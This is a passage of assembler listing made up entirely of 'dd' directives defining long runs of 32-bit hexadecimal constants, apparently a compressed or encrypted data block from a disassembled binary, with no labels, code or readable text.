3E0E4C7Eh, 80F53F64h, 15D9130Bh, 41A800C5h dd 14D74455h, 63007F03h, 0BD88E5FDh, 1F29975h, 0E13CC818h dd 0D8C5EC3Eh, 5B004177h, 1CB1B0B9h, 1E4597Fh, 73552991h dd 0D63DFB76h, 54CA72C0h, 77C254A0h, 88964B37h, 0A8809DE4h dd 3A93B906h, 9183A8FBh, 1CF747A1h, 0C19B3102h, 0E12E37CAh dd 881BF3Ch, 0FB5E73F0h, 0C726C45Dh, 7F055300h, 2FE0BA01h dd 0E66C0071h, 0D20E11B9h, 92008834h, 0C7FA0C82h, 59F65F5h dd 3FE5804Ah, 792FC0B4h, 0DECD109h, 0A6150C1Dh, 960BC6C0h dd 1EB1BE42h, 7B8D1203h, 0A1C56E00h, 0CC430299h, 71FE8600h dd 26D2059Dh, 0DDD41C53h, 288700B3h, 487FEE6Eh, 9F5E3200h dd 0A0EBEC23h, 0C6D0516h, 8185FE54h, 0D4BF713Fh, 6900DD35h dd 3AE08210h, 0CB7EF1h, 20D200Bh, 0FEF35A8Ah, 0B4B29B1Dh dd 0AE5DA70Eh, 98DEE012h, 1E363Fh, 0F4611B8Dh, 9C7E8923h dd 0F4CBFECAh, 11DE8607h, 97B8A19Eh, 39E48D26h, 0EB8300F4h dd 0B6779D5Eh, 510730ADh, 40E735EEh, 0D05073F7h, 4CA287h dd 0E4CFCCC4h, 9D583A11h, 0A0381E60h, 9B60BAh, 72B482BDh dd 2F6F3D5Bh, 102E2100h, 894B468Fh, 91E10281h, 4495A5D4h dd 5F8260DFh, 0F6D1F72h, 518AC038h, 0CD21BCC3h, 812FF338h dd 848A143h, 23200AB5h, 0D28C00DAh, 5335F8DCh, 0A7005F45h dd 0DFCF2C44h, 1C19CDh, 5BC4793Fh, 0F8C852C1h, 2A00A8B8h dd 972BC24Ch, 0A16CBCh, 0CACC6444h, 1E01328Bh, 0B7DC1F00h dd 51BBE4F2h, 94EE3EA8h, 1B1A9906h, 9603513Ah, 5E700757h dd 4915E832h, 9FD103DCh, 316B2117h, 610DD6F8h, 75087A4Ch dd 89396C60h, 20BD96Ah, 2C8212C6h, 0B848F1E9h, 4D00DE96h dd 51ADAE72h, 581F633Ah, 7095C04h, 54050FC5h, 2894C16Ah dd 82DE1018h, 11B405F6h, 8397E4A1h, 0A903A69h, 0BA12C933h dd 41006463h, 0E1FB1695h, 0AB9E0022h, 0A0A9BBE8h, 764B0886h dd 49C22800h, 0EA4421h, 0CD28F8DBh, 52413730h, 0DE81E900h dd 6469FE20h, 84C00D2h, 7A436ED6h, 0DC7F59CDh, 94444Ch dd 0D4628EF5h, 0FC345Fh, 0F153910Dh, 0A8BCE5ECh, 2B65A900h dd 0E731A4AEh, 299C0357h, 0B7CBDF56h, 209D85EBh, 4A7548B8h dd 3519DB00h, 9791DCD5h, 93AD1DB4h, 5C0F41DDh, 31C2EF88h dd 145EE88Bh, 0F60070FCh, 6F9C25ECh, 986E9E65h, 42823F9Ch dd 2E4D1602h, 14E362E9h, 86BC04ADh, 0D49B47D5h, 0C5173C40h dd 5D94005Bh, 99827B09h, 14BA55FBh, 804DD93Ch, 14FC2381h dd 58A2FAh, 93418399h, 6E7CDDADh, 3ECD3A0Eh, 0AAFE3A1h dd 9D64C804h, 60330042h, 6BC46A57h, 2100CFEDh, 0CBC31119h dd 3E8D86h, 0BE403498h, 74950458h, 7598C660h, 96DD1113h dd 0B4BC00E4h, 2C846EF7h, 31003FF2h, 0EC072022h, 3B41E152h dd 0B6AE9BEFh, 0AA3A8274h, 84E87AAFh, 0B850F2F1h, 933CEFC0h dd 0BD007D62h, 1DE3E620h, 0E2EA7BE2h, 0AB04309Ah, 0A4ADCD41h dd 5057C1FDh, 6617C880h dd 3BA2D100h, 936BB956h, 679500CEh, 381530F9h, 0D803BB61h dd 0EA74A587h, 0F191F0D6h, 0BC3525DAh, 0BEC52C80h, 54078C48h dd 858A5ABAh, 739C9BB0h, 3BA80101h, 311B9A4Bh, 0C025D8D9h dd 0C717C901h, 0DC462A78h, 3B0E81D4h, 9C80DE53h, 0FB9B2E32h dd 8FC4324h, 0DB8EED00h, 0B291ABC5h, 0F01200C1h, 60EFAAD1h dd 0BB395045h, 71B09E22h, 0AEDFCC00h, 0CA87B2h, 7C095AC4h dd 0FC0C4EF7h, 0AF527700h, 31E4EA53h, 0EC6F861h, 4675ABB8h dd 21812B20h, 0A62C8C8Dh, 0C71F4313h, 0AB68D218h, 5BA10382h dd 0CCF0620Eh, 25A938A0h, 5033A0C1h, 7187E356h, 8CF6E068h dd 0B201BB39h, 3EB5C5FBh, 5AF0BDDBh, 36A500C3h, 0D3104193h dd 0D8182CECh, 2641A713h, 0FEEAF06Bh, 964A008Fh, 70F83BA5h dd 0E407A8BFh, 0C24E11A4h, 0F03727E3h, 0ECA092h, 28E2FD6Fh dd 0D5F98042h, 970EB100h, 0EB197E52h, 0A5A71830h, 0F7CB90D0h dd 12C37207h, 60E017F8h, 54678BAh, 6DF95B13h, 0E56580D1h dd 8E00553Bh, 20BB825Dh, 1C2FECDBh, 45437BAAh, 80F67C1Ch dd 0D3BDF00Ch, 14C12106h, 10A8661Bh, 3EE5AF42h, 289000CFh dd 68D88E34h, 0E859006Bh, 4A08C8D9h, 0D00024F4h, 0E49FD518h dd 6B70DFh, 6FE9E5Ch, 880A3126h, 0A268AE01h, 0B7C2B6EEh dd 6A384180h, 0EDAF4005h, 1FBB8000h, 0A0D67C77h, 32FC00F3h dd 71D78EBh, 30C76C22h, 0D71095A8h, 39BC638h, 6004011Ah dd 1BE80B89h, 770671C1h, 0A64A33Ah, 0CB6900B8h, 92285094h dd 9F0063B5h, 4F75C1FFh, 240964h, 0DE5213B3h, 9A85872Fh dd 1A506D00h, 0BB91B6ADh, 0A7A301D6h, 6583869h, 80D802DFh dd 3A782BECh, 48FEEC98h, 91011C75h, 3BDB8558h, 19FE04Eh dd 7065AC00h, 9518F14Fh, 22960FE4h, 0ED40D1C7h, 32626C17h dd 0D99C5600h, 0E8DE9B04h, 9AD500B7h, 34465CD1h, 0C800E05Bh dd 4486CEB4h, 3C888737h, 929F837Bh, 0F3BC027h, 6D129B6Ah dd 0F22FAA01h, 0BF592A47h, 0D91E0h, 48E236D7h, 4A5BA7F1h dd 279EC100h, 502C16BCh, 3E8700C5h, 0C79BD532h, 3A008E7Fh dd 637D76E8h, 24792829h, 8EBE1Dh, 0BFFC78DDh, 0C701BD22h dd 4502DE09h, 3BF457B5h, 347A00DFh, 6349A50Fh, 68002F3Dh dd 0CF1CC5DEh, 38852CD4h, 0AC3F0555h, 2E71FA03h, 36E0272Dh dd 0B91E6D5Bh, 0B5803B30h, 0C548E48Eh, 8CF10077h, 0DACF99BFh dd 0D498AA37h, 45D19F00h, 2957DD14h, 0E9B0F3h, 4C798110h dd 8D398448h, 128155Ch, 555885FCh, 0E72091AFh, 43615CC2h dd 0C59A4E00h, 496DE781h, 690012E6h, 50F59B63h, 60C66Bh dd 72042C1Bh, 0F286A996h, 65AE0801h, 99DBA85Fh, 0EB9E9FCh dd 0EC356BD7h, 0A9C47460h, 0E5730B11h, 12EE961Fh, 850F9EC0h dd 51C3Ch, 78B7D30Ah, 0EE31517Eh, 0C8AEF600h, 41456FB5h dd 0A0E7001Eh, 1A5D97D6h, 0E0000E52h, 228DD09Ah, 0EE348B55h dd 601560E4h, 920D12A4h, 16B02806h, 1B4C776Ah, 203DD7BDh dd 9876FE90h, 87B70A06h, 1299A728h, 4016AF23h, 880192E0h dd 0D974903Eh, 0FFCC480Fh, 0A358801Bh, 52A822h, 8FE97FEFh dd 76E61036h, 40E76428h, 0D8FE4500h, 0E8D69588h, 125B3053h dd 0A140859h, 0E0FDFB14h, 0EA53F10h, 0F4228F76h, 0F90A0040h dd 29963D88h, 7AB0A7h, 75A09BFBh, 0CE27BD5Fh, 841ECC00h dd 4A3B6CD2h, 0A9EB0078h, 374509D6h, 0CB02DB93h, 92487A0Fh dd 0BEDB80C7h, 47AE0Bh, 953959E4h, 0F2315EA0h, 0CC7ABD00h dd 55A9FE38h, 0A7DB3B66h, 71E2EC8h, 77CBC18Fh, 0F40A67DFh dd 0E3038A12h, 0CDE0D9A0h, 0E850C0F0h, 0D4DF0024h, 0B49A62A4h dd 0A17F09E9h, 67B8DA00h, 49BFFFEFh, 0B0960182h, 0FC303115h dd 0A6A8CC17h, 0FE3CBCA0h, 3C774Ch, 0F31A2666h, 7F13BFB9h dd 0DA75003Dh, 28244E99h, 0A1009097h, 734D57F2h, 9EC8C2h dd 701D1202h, 4C50EF9Ch, 0F2E45C00h, 2895464Ah, 892F07BEh dd 0A1E591D6h, 0DC96C31Ah, 17009D31h, 5F7EE969h, 928BA4BAh dd 3D7500A0h, 4DFC8319h, 20049AF5h, 0E63516A3h, 8436A8C0h dd 0BDB31E70h, 1A2840C8h, 310FF548h, 62147C13h, 5F27AE00h dd 1ED06A1Fh, 16EE305h, 0F9081E78h, 69C8300Bh, 3A79B800h dd 0A1469A51h, 6C5B09A3h, 0FC809ECEh, 75171A61h, 0FB00CA75h dd 105954EBh, 0F8D1BC6Bh, 819400E0h, 0D5C0AC83h, 0D81204CFh dd 0C500A09Ah, 7CBC1F4Fh, 0D148C09Fh, 96FA3BB9h, 0F747C204h dd 0F0D09779h, 182CBEh, 832F059Bh, 0CAD5867Eh, 6D73700Eh dd 3DA9A389h, 0A3B89855h, 40162D34h, 0F2066370h, 0E4B7D914h dd 12C01050h, 2C017A0Bh, 87EA821Ah, 0FB3057C9h, 2501009Ch dd 3307FC6Bh, 0F900A5D2h, 9480CC8Ch, 3934EF5Dh, 20CB251h dd 6FB0E341h, 0DE18C800h, 0EBA0CFB3h, 0F4317EACh, 2A552ECDh dd 28E7183Dh, 0FE014D14h, 0F21DBC1h, 0C083095Dh, 6FD961D1h dd 85B8BEB8h, 0AD9BF600h, 3E23511h, 94CA0005h, 0D5ACABF2h dd 0CD00641Fh, 0F2CDEC1h, 2FF508A0h, 99804191h, 0E20DFACh dd 598E7B00h, 0C51F5DAAh, 24FE0FA6h, 0C9E05C01h, 0EF65D7A7h dd 25DDF50Ch, 0B3989Dh, 5239AE8Bh, 14A34855h, 0FA94BA50h dd 60333844h, 9722702Dh, 6D0067B5h, 22B57F1h, 468C5Ch dd 7AFA48CDh, 4261AC68h, 0DF76FD00h, 8126FEECh, 0C04D0012h dd 85C631A2h, 881CED37h, 0FFC0AF75h, 928F58EFh, 0B1171D7Dh dd 6812CA51h, 0C05B80D0h, 0AEFBE040h, 330020BAh, 2B477483h dd 4E8434h, 182D6A81h, 0FF5DB3C6h, 1ED2300h, 0EA80AFBBh dd 0C17BBFh, 0E26AD14h, 6ACFA1DFh, 0C8BEEF17h, 70188C1Dh dd 5C3859h, 1AD32B85h, 7AA71A5h, 0A700649Ah, 109FD813h dd 0F1D5586h, 816EBF02h, 0CE96FEC3h, 0CADFF4D0h, 0F93F49C7h dd 80FF2EA2h, 0F37AC2ACh, 2B78005Dh, 5FA2F052h, 0B800CBC0h dd 0FD31B421h, 0BAF15Eh, 0DB240582h, 89183A70h, 4C4BEA17h dd 1601E0FCh, 38F98525h, 0D740704Ah, 662440h, 0CA2FD142h dd 4917EEC9h, 0D31E6894h, 1AE6FA80h, 92B8685h, 1D23E1C7h dd 0A0A25884h, 5E0026BCh, 0AD357C95h, 1C874FEh, 2171D256h dd 0DCC5E743h, 2300C2B4h, 553B4612h, 39616BD3h, 40E051F2h dd 2852B7C0h, 9D00CCB2h, 14E00F73h, 7118CC9h, 0ADE8F547h dd 0D3EBA030h, 401F2674h, 0E7815DE9h, 133A8B5Eh, 5F4EF040h dd 0D46E2565h, 1C631C00h, 0EF3B353Fh, 0C12B8013h, 0A4682719h dd 0E9CB007Fh, 56CE9316h, 1F1E4EF6h, 6FC08DD5h, 3B18E52h dd 0B9EF0289h, 0D45AC539h, 3198EE63h, 2A4E9461h, 1900B4ACh dd 7C84BD98h, 22501D81h, 0D8918E98h, 72879D06h, 0DA60F541h dd 0ADF6007Bh, 6555CBCAh, 500ED10h, 46F8DB0Dh, 5D86098h dd 49C9F9FAh, 0C88C0092h, 0DDFB9A7Fh, 80534F39h, 0A730E4C2h dd 2C76195Dh, 18820E92h, 4D287865h, 2F8C0700h, 638E9E02h dd 0DA712601h, 99E68074h, 47B71DE1h, 0D0E9844h, 7546FDC3h dd 0FC63E911h, 2300B84Bh, 28E3F54Fh, 127B3B70h, 80871207h dd 600A6DD0h, 80E9D725h, 465C6E40h, 0BE293E33h, 0B6EEB805h dd 0BB028010h, 670051C8h, 0DC5F05E8h, 13BC398h, 7A2F95DEh dd 0C4285EF6h, 470E54AEh, 0AE997402h, 0B2D6C024h, 5050672h dd 0C4D120A4h, 5265805Ah, 0B5148C96h, 0C4CCCAh, 280F4A3Dh dd 6E8B7Ah, 0F9B7D6A1h, 2783F779h, 0CED17200h, 0E5B81382h dd 76D90EE4h, 91E0BC17h, 42572358h, 20D3301h, 85B2CF84h dd 1CB44820h, 40F588F7h dd 281A298Ah, 1C1E9E5Bh, 0CF0797BBh, 5A80CDD2h, 39B2D0Eh dd 0F5A51B71h, 0D09F4EF7h, 319A9C23h, 0B193C100h, 2A0F36A3h dd 0B0C61603h, 17EC078Bh, 0E9928057h, 552C80Ch, 908C4094h dd 967E2E0Bh, 2F2E006Ch, 75F264Bh, 0CEE0E5A0h, 8E5566E2h dd 0F1358A00h, 6BF51778h, 0EEF7B9Fh, 0CBCC1BD3h, 5E314DA0h dd 0B100FC76h, 12738F16h, 0C18DC3h, 0E5D72E7Bh, 9BBE0368h dd 0DE6ED800h, 410A2937h, 49A3001Eh, 735F575Dh, 0EF09D7E0h dd 800ECB4Bh, 0A8ADB570h, 0E54D008Dh, 6EA1886Fh, 18B83061h dd 0B189AA00h, 0DEB04B63h, 5B9F00E0h, 2870FB7Ah, 0C31FF735h dd 0E8B0D299h, 0B1727DAh, 0D90EEC2Dh, 8A50389h, 6278C0BEh dd 0A504970Ah, 13119F05h, 58BC88A2h, 64358B08h, 1D9440E8h dd 0FE0079E9h, 0F680F476h, 188D165h, 0C25CB83Eh, 20E8C792h dd 661E0B70h, 0E15815AAh, 0E8019020h, 9CF90F2Ah, 181811A3h dd 0E600B344h, 8F71625Dh, 38815B52h, 5000DB07h, 0BBD9E264h dd 0F3006C16h, 0A4228BD0h, 712C363h, 39189013h, 5198062Ah dd 9588090Eh, 3AA88016h, 5BAB5CBBh, 0ED51B18Ah, 0C0AC2877h dd 52097E8Ch, 50287C8Bh, 50920CE1h, 6A60C8h, 32AEF597h dd 66ABF677h, 1D3040C0h, 99B73h, 4A5F45E8h, 97CA9AE4h dd 2A9C1900h, 0B1DB74DAh, 0A6D713BBh, 0C37E0014h, 29A0765Ah dd 547175Ch, 0BCAE251Fh, 6001EE80h, 30330064h, 0C53A9C1h dd 0E9E488F2h, 0B22EA500h, 498EC79Fh, 78B900F7h, 3EF4BA40h dd 39789408h, 5ADB200h, 2421F07Fh, 3DC90E8Dh, 1DE06A4Bh dd 6B4D31EAh, 31A83B2Ch, 0CF5CD100h, 25FD672h, 94C89BAFh dd 0E7C03309h, 0FE00AE0Ch, 0F09837A4h, 6C675Ah, 65103BF9h dd 0AD999664h, 0AC8FA90Bh, 0BC8257Ah, 5E0438h, 14FE37E3h dd 0E7CB5F28h, 0F17913Eh, 948BB8h, 150D6A13h, 0FB3800E5h dd 0D21096BAh, 0A860FFE2h, 0E7265C40h, 0A6DE2C70h, 0F9CE000Bh dd 0D832150Eh, 66C33C1Fh, 206FC24Dh, 14DA0C60h, 20E34554h dd 18F4DBE1h, 4093EE5Ch, 0CB078A6Ah, 150C9567h, 0FDC91150h dd 300A7A24h, 0FEB8DDF7h, 1000625Fh, 6895EB7Eh, 0B9A663Ah dd 1D697A11h, 0A82390A0h, 6A0E85EFh, 2B5EB73Bh, 2B2020EEh dd 54AB9B0Bh, 4F19014h, 8B3D26ACh, 925481A6h, 6089856h dd 5C45721h, 2FE7D126h, 1CA840DFh, 1BD68369h, 0F7AC3000h dd 0A0D28E8h, 0C5DFE8E2h, 4B14A969h, 3B0082C0h, 0ABB89F96h dd 1F591860h, 8C7BF7h, 3EFA1CD4h, 0DACB498Dh, 69CEF1Fh dd 88146A8Ah, 3CCAE302h, 4E8A38Bh, 49FE98EFh, 36680760h dd 40AC65F5h, 1B8837E9h, 63008AEEh, 0C642629Ch, 3044A4BFh dd 5B9E633h, 0AD01D541h, 16F63F5Ch, 8986764h, 58A621CEh dd 2E3AD500h, 0BCEA7A10h, 0FE0D05CAh, 1053657h, 5396E6B8h dd 52C443FDh, 1436023h, 5CC0D53Ah, 88CC1857h, 0D50051A7h dd 0E9056A92h, 180A3A33h, 50DA975Fh, 0DC028FB3h, 5194C9BAh dd 0AC72AAh, 7A8DA9A1h, 0A8055985h, 3A7CC4FAh, 0DDC55801h dd 0A36B7964h, 43439052h, 0F5A7D028h, 9F150138h, 0A44DE4FDh dd 8CD6F166h, 91DD3068h, 1200057h, 0AC21A74Eh, 26005FC8h dd 0A6E38BFAh, 635CA10h, 6679C1A4h, 97E461A5h, 48DC4F32h dd 85461B5h, 28265B60h, 9D813BBh, 8EDFFBEAh, 87F46004h dd 0D7182CB3h, 6BA89312h, 0CB0B414h, 0F9E70F87h, 94630E6Ah dd 92C05ED1h, 0EC210966h, 0AA28003h, 38CC8B87h, 0D8837A28h dd 9897E3A0h, 0FD736000h, 0BC04556h, 0E4FB308Fh, 7B67FC28h dd 0EB7D1F1Fh, 0D8E37F06h, 150A0118h, 3DB81229h, 84D183A8h dd 0F08BD63Bh, 32E9764Eh, 81085623h, 4363A448h, 17C6D600h dd 1A36B5A7h, 0E8BD48DCh, 0F128310h, 560458Ch, 9C454CCCh dd 0B046DB94h, 69923Ch, 46097B82h, 0BB5AE478h, 3E17B700h dd 0BD2CCE87h, 8AFA05C0h, 0E807093h, 39D83D90h, 0C40B6F69h dd 8010DE91h, 0D38A469Ah, 54A70A9Ah, 8A450F6h, 0AD00F467h dd 0A2C84BFh, 5F161832h, 4FE6A06Dh, 4553A401h, 79267D2h dd 18486421h, 83963ACDh, 98104069h, 0AA285890h, 0AB30A0F3h dd 0D7DE190Eh, 3D2E019Bh, 5E1236E7h, 57E0208Bh, 9670950Ch dd 15A430F8h, 80C69710h, 8C479050h, 0ACD53E04h, 0CD62375Ch dd 0D556AB20h, 7B61F93h, 380E685h, 8667FDA9h, 4604B8FEh dd 9C9458Dh, 0FC40D4E5h, 65387313h, 42E34EFEh, 0FC4B87FCh dd 1144880Fh, 0D6819DC6h, 773E0A8Dh, 0BCA4980Ch, 42D64500h dd 70962CF5h, 7E0931D2h, 85C794E1h, 1622E249h, 0B1CD4402h dd 64744CE8h, 60BB789Bh, 688CD63Ah, 983C700Ah, 4264D180h dd 2500D674h, 78EC9EFEh, 31115EDBh, 0BC690FAAh, 0C2CFD017h dd 0C416FC0Fh, 83678B9Fh, 0EFE28C66h, 0DAC0B297h, 1DC59A0Ch dd 8B415C46h, 44809342h, 0EEE02890h, 0C4122A14h, 0D63F804Ch dd 0AC2E0A8Fh, 997C6088h, 3FD64767h, 4C8ABA03h, 1ACECh dd 52D46991h, 0CA87A788h, 1E5B671Ch, 42C5E780h, 128AC7EEh dd 98B03EBh, 44B08FD8h, 6E28785Eh, 0F07D8FCh, 8EB08297h dd 0F90623C3h, 60207B7Fh, 3D3A26A0h, 97714040h, 1702DD7Ch dd 6677FD55h, 3ECC8003h, 1293BA82h, 40B94253h, 0F6F4791Ch dd 8D09C06Fh, 277EAA13h, 54302770h, 9DAD321h, 2BFBEFAh dd 709D875Dh, 90511786h, 0A6A73028h, 41D55EB8h, 4D6FB50Fh dd 88E1A068h, 92EAFE11h, 355C765Ch, 80B07FD2h, 408C51D8h dd 0A8BF7613h, 0AB3AA405h, 6011E8C8h, 0B941087Bh, 0D9FC59C5h dd 0E843D126h, 83637301h, 0E0EFAFCFh, 1DCC5BBh, 46060D3Eh dd 80D53045h, 2A61B071h, 0FC91EAh, 36984122h, 0AC20B544h dd 8D574F0Eh, 0E4565642h, 10337C03h, 3C085212h, 0C2A31101h dd 0FA0F165Eh, 4FE3B4A1h, 24F0A896h, 708FA305h, 8800123Eh dd 7CCC1A5h, 7D040AAAh, 80C8943Dh, 76FF1BF1h, 6473E392h dd 0E6734700h, 79F2E9B4h, 0A3DD01E2h, 7EDE5EACh, 2CC4CE83h dd 4F20A813h, 0C0461008h, 5CABD53Fh, 0DA222F46h, 0F8E6A840h dd 0B46B3A9Ah, 0F489B100h, 15520A63h, 90E23A01h, 0CAC25E5Ch dd 841AE0h, 1CBB2345h, 0E42CC765h, 0BE18C97Ah, 0DE30CB4Ah dd 51DC3D4Ch, 77374B01h, 8987635Dh, 40C948h, 0A2C3393Ch dd 6EFE1D20h, 0CAF080ECh, 67D10ADCh, 0EE69141Dh, 0EAE500FFh dd 0C8E219B1h, 404060A0h, 9754B315h, 0E4338103h, 888B9E44h dd 0C141FBCh, 3B3DFCE2h, 7F005A29h, 7DB1B88Dh, 66B921AEh dd 212508A5h, 8D96FB00h, 0E195C3B3h, 1A6AEE0Dh, 0E0524090h dd 0A1037980h, 0BE00A0D7h, 68365C43h, 6792C2CAh, 633A40E6h dd 4888E0F3h, 3E198106h, 0BF080E61h, 0A13A9440h, 8FEFBh dd 0A837914h, 919A3031h, 5C41D061h, 0FACC4EB8h, 6ACF0002h dd 0EFC79F29h, 0E1031CB0h, 9E4577C9h, 20E13D8Fh, 0B180ADBCh dd 3ABBC28Ah, 50F76291h, 26E175ACh, 0F69AF301h, 0FE92CEC5h dd 218B0898h, 2674E952h, 7938F570h, 4E90818Dh, 0CF39763Fh dd 187FA0C4h, 311D63A9h, 0FE023DFAh, 0A74850DEh, 0AC9A40B0h dd 18A41CEDh, 0B12581D3h, 457ACF34h, 3E1000C4h, 3ABCE384h dd 18D094A1h, 0E2E008F5h, 0BBC4F648h, 0E0FDA740h, 2F0265C7h dd 0FB1CB1B7h, 97F09112h, 11488110h, 4CB18905h, 100974DBh dd 91001F93h, 0CA6D802Fh, 7B9AB2ABh, 12E37CFFh, 40CCE9ECh dd 7BCBA97Ch, 0A4B84377h, 614AE619h, 2180B508h, 957BC30Bh dd 827F484Eh, 707E8007h dd 202F44EEh, 0E21FC4D4h, 31CF60E8h, 79E0C78Bh, 0E8443431h dd 460080EBh, 0C4E82906h, 0C0FBC9C8h, 0B1CB8D78h, 23229546h dd 8D8FFC07h, 6971ABACh, 47D43235h, 213F603Ah, 9E0D370Eh dd 5F4E701Fh, 18192A18h, 730F149h, 0CAFE3E74h, 0D257FF00h dd 8588CB7Bh, 0BF17859Ah, 820050C4h, 6A261C49h, 0F3D52CFFh dd 0AD2439CCh, 807B1144h, 9AF926E7h, 0C0C64206h, 0B26EF5Ch dd 0B99E00ECh, 0E08E8FC4h, 3D400E36h, 0EA5CB814h, 0DE400188h dd 64A508E9h, 491083BFh, 17316647h, 8012B228h, 48D2A0E4h dd 8611367h, 81CE6090h, 83520107h, 9F34B38Ah, 0FCB4401Dh dd 0E149BB84h, 5978054Ch, 0D458A4EEh, 808F4F28h, 0C4A14558h dd 657A18F9h, 62A5F88Dh, 0FA202EC4h, 15808D91h, 0F81213B3h dd 0AD70147Ch, 4009A96Ch, 948289CFh, 0E20FCA8Ah, 823CEA16h dd 0AA2BC7Ch, 2463DA0h, 48E7E0F8h, 1C3467DEh, 5EE000A4h dd 0E2AB08D4h, 0F2029B75h, 8475EFB8h, 0EBAE027h, 0E8E56049h dd 1B8F5487h, 0FD06E083h, 80C550AAh, 4915F221h, 0B48080EFh dd 9943827Bh, 10B3448Ch, 3F7BCC00h, 3B53287Ch, 6D37E27h dd 0D90E9B14h, 5B0C58AFh, 70900B55h, 0C4D6244Ch, 753A8074h dd 10C5A0C3h, 80F8A369h, 96EA8A6Dh, 0C1D50C45h, 4968CEACh dd 2C0A4F14h, 0A5060094h, 40861D60h, 0B87C01E3h, 421766E2h dd 7820A851h, 0D0FABB0Ah, 0BF7020C2h, 0B0088C1Ah, 35E7A3Fh dd 0C6A8AD08h, 8A4F9012h, 0C0907008h, 9AF426E4h, 91C5EE21h dd 0EC53028Eh, 40C86D26h, 801C4328h, 0B406D544h, 2CCDF54Ch dd 3CEE1410h, 684890A8h, 188C0711h, 7F19F50Eh, 12B32064h dd 60CDF934h, 30EB5082h, 7E117BB8h, 0B488B943h, 7BD00C81h dd 0F5E4FF85h, 0B86E7ED4h, 1F4435D2h, 60B004B1h, 4F0B01A8h dd 41062A1Ah, 0B93AEC98h, 18D841E5h, 1BC47C5Eh, 28384A1Eh dd 0A844BAD2h, 0DE3EE30Dh, 9C0E1833h, 2FC08F88h, 945047h dd 0C7392F0h, 0CF91B7B6h, 2E7F61C0h, 0F304CF1h, 0A2A38C4Ah dd 7A6D409Eh, 0BC881498h, 4BB5651Ch, 9C156BCAh, 0B10EC207h dd 1912A83Ah, 0AD14AC01h, 0F0489BFCh, 0B58E0028h, 0ED39D066h dd 0F6000369h, 348FEC21h, 34A13C6h, 5C7F1B91h, 4E80CD2Ah dd 0C8009681h, 0FE1C3F6Bh, 2D68F5h, 93C7A358h, 21326CCDh dd 631FF800h, 0AC9FB8A1h, 0FD7658E0h, 0E7101Ch, 5D09E47h dd 7B00E1AFh, 0F5A832C5h, 70078Bh, 5C7E2186h, 66CFB740h dd 0FE0EB38h, 618F1768h, 9546514Fh, 6EC7D8h, 0AFFD2334h dd 9C8EAADAh, 0D798DF00h, 99032EC4h, 0C31D3176h, 0E43E5B50h dd 0E600A49Ch, 0A809AC19h, 0F7CD90h, 0E2DCDB77h, 5BEA979h dd 0C351F40Ah, 0ED00E56Ch, 0E6AC215Ch, 25720014h, 4A151894h dd 91008B50h, 2FEDDCC2h, 210A2Bh, 3DE21B09h, 0D354DB45h dd 802AE00h, 2928340Ch, 0D9062582h, 1512195Ch, 0A6725D00h dd 6D22B4Ah, 8DD8850Dh, 0E40F1916h, 4063A46Ch, 7F9BDE7h dd 0F88F0086h, 2C2C128h, 7E009F3Bh, 44BA75F3h, 0FE74204Fh dd 0CCFB50C9h, 74575DBh, 0A0482138h, 583B209Eh, 93008B6Dh dd 0E9ED310Ch, 3458E46h, 56818A34h, 2CA03C0Bh, 0D30EB7FCh dd 1BA1771Fh, 37D2F082h, 459B1C55h, 35544780h, 9744104Fh dd 1C006270h, 0D9007D7h, 0BF4C5Ah, 0E6B2FFF8h, 80347881h dd 0E5D77200h, 0AEA26038h, 0EA3700CBh, 61C94EBCh, 2B003A1Bh dd 0B8A65051h, 234B5Fh, 2ECDE729h, 190C16AAh, 0C986B700h dd 0C7E872C4h, 0B53E308Fh, 5BB63C71h, 0F2D89E03h, 79A537Ch dd 8A77EF19h, 0A7601F31h, 29F6FBCEh, 0E1393500h, 0DE04C9B5h dd 0A2D90292h, 4A46F72Eh, 313623C0h, 8FA9F404h, 0F2ACCC73h dd 33242C00h, 25A7723Fh, 46C62E02h, 0E0BC3BE4h, 3E4B2Eh dd 42B98EF5h, 0A15140A2h, 0FA00CFFCh, 8B9F639Dh, 18C16D2Fh dd 0C372DE1h, 0B73CEF47h, 0FC4680B4h, 0C8C61286h, 457B4C7Dh dd 0B1A1EB00h, 451501A6h, 49CEE07h, 9D102840h, 2DB95Dh dd 0B2F82532h, 2EA9AB99h, 0DB2FA000h, 0E4FBD0F9h, 0C26B00A5h dd 0D96DB04Dh, 9000B173h, 0F3C38C83h, 0F179586h, 51377B33h dd 5A1CBDC1h, 151824D3h, 5E26D9C0h, 3FA870h, 586DF6BEh dd 10B49B77h, 981F1100h, 4E5C2601h, 2DC0F35h, 0B0C13FC2h dd 0F49CB385h, 3D07EE66h, 0E2B57F0h, 0C840EF45h, 5812556Fh dd 0CBBE00F8h, 2E4571E1h, 1600BDCAh, 7B31235Fh, 246E8F53h dd 6808E3h, 41844FFFh, 8E392C14h, 0C8F9AA73h, 960053F6h dd 0F8B80CFEh, 0F2022EEh, 0F09E488Bh, 0ADF22FA1h, 54E340D7h dd 0AE0E8D6Fh, 0A4579715h, 0E881B135h, 63C053E0h, 49F30017h dd 830EA9B0h, 0ED0FE481h, 8A072Ah, 0CEE13B4h, 0B98903D3h dd 96698F06h, 0D4E73EB8h, 74315F00h, 0B1EE8623h, 0C05901C8h dd 0ABB8CEDCh, 0F6D4F8A5h, 0DA038E07h, 4A408D3Fh, 5E64832h dd 87B94B89h, 0C083019Ah, 0FC6B99F5h, 0C318F95Bh, 31189614h dd 0DB750046h, 0D611AEE8h, 72EFE64h, 0E00003BEh, 5F589881h dd 4C41002Bh, 16EDF866h, 34006D6Ah, 65DBE015h, 7FA87B21h dd 55D98BAh, 0EE8FE83Fh, 13208091h, 6338B830h, 486A0047h dd 0D6075C1Dh, 6D8805E3h, 4FB6F2h, 307246B4h, 25004C8Ch dd 89E7B9F9h, 3D9D2DD4h, 46801584h, 0EC41EA0Dh, 5F00B479h dd 0EFD10397h, 0FBCED8AFh, 7198E450h, 0C38401A5h, 0B035C61Ah dd 0F8FEC927h, 1500F40Ch, 0DDE39166h, 0C49085h, 0D94A1617h dd 757EA1BCh, 7C25E225h, 0E1CC0079h, 521F6D5Ch, 12FAF7FAh dd 4DE4B003h, 0BAE7199Dh, 118642Bh, 78844B8Dh, 30B0E669h dd 6A036D32h, 9141CAD4h, 0C1C8F09Ch, 0C95B0172h, 14587C70h dd 0A78424E8h, 0E0306900h, 0C840B144h, 5B8000BFh, 5C883CC5h dd 3106DB6Bh, 5A950D2Eh, 638E06E0h, 11B99FE9h, 8EED400h dd 647C8A21h, 19576053h, 93ECACF4h, 68FC8C30h, 1FF64873h dd 80D621A8h, 3397169Ch, 0BC0050B7h, 698D862Fh, 0E273530Dh dd 1440039h, 